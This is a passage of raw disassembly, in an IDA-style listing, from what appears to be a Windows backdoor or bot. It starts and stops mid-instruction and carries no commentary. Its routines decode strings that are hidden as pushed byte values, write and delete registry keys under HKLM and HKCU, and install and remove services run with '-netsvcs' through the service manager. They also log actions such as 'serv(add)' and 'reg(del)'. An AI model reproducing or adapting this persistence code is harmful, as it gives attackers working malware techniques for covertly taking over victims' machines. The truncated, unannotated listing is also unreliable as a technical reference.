[esp+9Ch+var_3C] call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2900000h lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E220 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E7A0 proc near ; CODE XREF: sub_401447j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E7A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_401424 lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 mov esi, dword_50F754 push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] mov ebp, dword_50F764 push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_50F738 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E7A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EC30 proc near ; CODE XREF: sub_401497j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40EC30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_401424 push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C5D push eax nop call near ptr 27E0A09h lea ecx, [esp+5Ch+var_3C] call sub_401424 mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+60h+var_24] call sub_4017E4 push eax lea eax, [esp+64h+var_3C] push offset dword_443684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_401424 lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402153 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40EC30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED70 proc near ; CODE XREF: sub_402153j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40ED70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 nop call near ptr 29007AAh mov edi, eax test edi, edi jnz short loc_40EDAF xor al, al jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EDAF: ; CODE XREF: sub_40ED70+36j lea ecx, [esp+54h+var_24] call sub_401424 mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017E4 mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017E4 push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_447864 call sub_4017E4 mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017E4 push eax push edi nop call near ptr 2900A3Bh mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EE95 nop call near ptr 27B07FFh cmp eax, 431h jnz short loc_40EE79 mov ecx, [esp+54h+var_44] push ebp call sub_401942 mov esi, dword_50F74C push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_401497 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE79: ; CODE XREF: sub_40ED70+CBj push edi nop call near ptr 2910000h lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE95: ; CODE XREF: sub_40ED70+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx nop call near ptr 291035Bh test eax, eax push esi mov esi, dword_50F74C jnz short loc_40EEEC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EEEC: ; CODE XREF: sub_40ED70+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EF00: ; CODE XREF: sub_40ED70+3Aj ; sub_40ED70+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40ED70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EF90 proc near ; CODE XREF: sub_401942j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 29007AAh mov edi, eax test edi, edi jnz short loc_40EFB7 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFB7: ; CODE XREF: sub_40EF90+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push edi call near ptr 28A0683h nop mov esi, eax test esi, esi jnz short loc_40EFE4 push edi nop call near ptr 2910000h pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFE4: ; CODE XREF: sub_40EF90+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi nop call near ptr 2900341h push esi nop call near ptr 2900646h push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40EF90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F030 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 29007AAh nop mov esi, eax test esi, esi jnz short loc_40F04F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F04F: ; CODE XREF: sub_40F030+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017E4 push eax push esi nop call near ptr 28A0683h test eax, eax jnz short loc_40F076 push esi nop call near ptr 2910000h xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F076: ; CODE XREF: sub_40F030+37j push edi mov edi, dword_50F74C push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F030 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F0B0 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 29007AAh mov edi, eax test edi, edi jnz short loc_40F0D1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0D1: ; CODE XREF: sub_40F0B0+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017E4 push eax push edi nop call near ptr 28A0683h mov esi, eax test esi, esi jnz short loc_40F0FB push edi nop call near ptr 2910000h pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0FB: ; CODE XREF: sub_40F0B0+3Bj push 0 push 0 push esi call near ptr 28F0C0Eh nop push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F0B0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F140: ; CODE XREF: ___:loc_4014A1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439048 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F23A push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401726 test al, al jz short loc_40F206 lea ecx, [esp+0Ch] call sub_4017E4 push eax lea ecx, [esp+28h] call sub_4017E4 push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch loc_40F206: ; CODE XREF: ___:0040F1C7j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F23A: ; CODE XREF: ___:0040F176j lea ecx, [edi+47h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F2D9 push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401447 test al, al jz short loc_40F2B2 lea ecx, [esp+24h] call sub_4017E4 push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_40F2B2: ; CODE XREF: ___:0040F27Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F2D9: ; CODE XREF: ___:0040F24Cj lea ecx, [edi+75h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3EF push 1 push offset asc_443600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402153 test al, al jz short loc_40F3AD lea ecx, [esp+24h] call sub_4017E4 push eax lea ecx, [esp+10h] call sub_4017E4 push eax lea ecx, [esp+44h] call sub_4017E4 push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 20h loc_40F3AD: ; CODE XREF: ___:0040F364j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3EF: ; CODE XREF: ___:0040F2EBj lea ecx, [edi+0A3h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F491 push 1 push offset asc_443600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401942 test al, al jz short loc_40F46A lea ecx, [esp+54h] call sub_4017E4 push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_40F46A: ; CODE XREF: ___:0040F435j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F491: ; CODE XREF: ___:0040F404j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F590 proc near ; CODE XREF: sub_401D02j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call near ptr 77C2C407h nop mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F590 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F600 proc near ; CODE XREF: sub_401695j var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F600 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E6A lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_401424 lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_401424 lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401749 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401749 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401749 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401749 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401749 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401749 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401749 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401749 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401749 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401749 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401749 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401749 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401749 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401749 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_401721 mov dword ptr [edi], offset off_43E034 mov bl, 11h xor edi, edi push offset byte_446F60 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43E028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015D7 nop call near ptr 27E0716h push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017E4 push eax push offset dword_4470EC call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019B5 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017E4 push eax push offset dword_4470F0 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017E4 push eax push offset dword_4470F4 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019B5 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017E4 push eax push offset dword_4470F8 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017E4 push eax push offset dword_4470FC call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017E4 push eax push offset dword_447100 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017E4 push eax push offset dword_447104 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017E4 push eax push offset dword_447108 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017E4 push eax push offset dword_44710C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017E4 push eax push offset dword_447110 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017E4 push eax push offset dword_447114 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017E4 push eax push offset dword_447118 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017E4 push eax push offset dword_44711C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017E4 push eax push offset dword_447120 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017E4 push eax push offset dword_447124 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017E4 push eax push offset dword_447128 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017E4 push eax push offset dword_44712C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_4017E4 push eax push offset dword_447130 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F600 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FD70 proc near ; CODE XREF: ___:004019C4j sub_401A3Cj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C0 sub_40FD70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FD88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FD88: ; CODE XREF: ___:0040FD7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FDA0 proc near ; CODE XREF: sub_4013C0j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40FDA0 mov eax, large fs:0 push eax mov large fs:0, 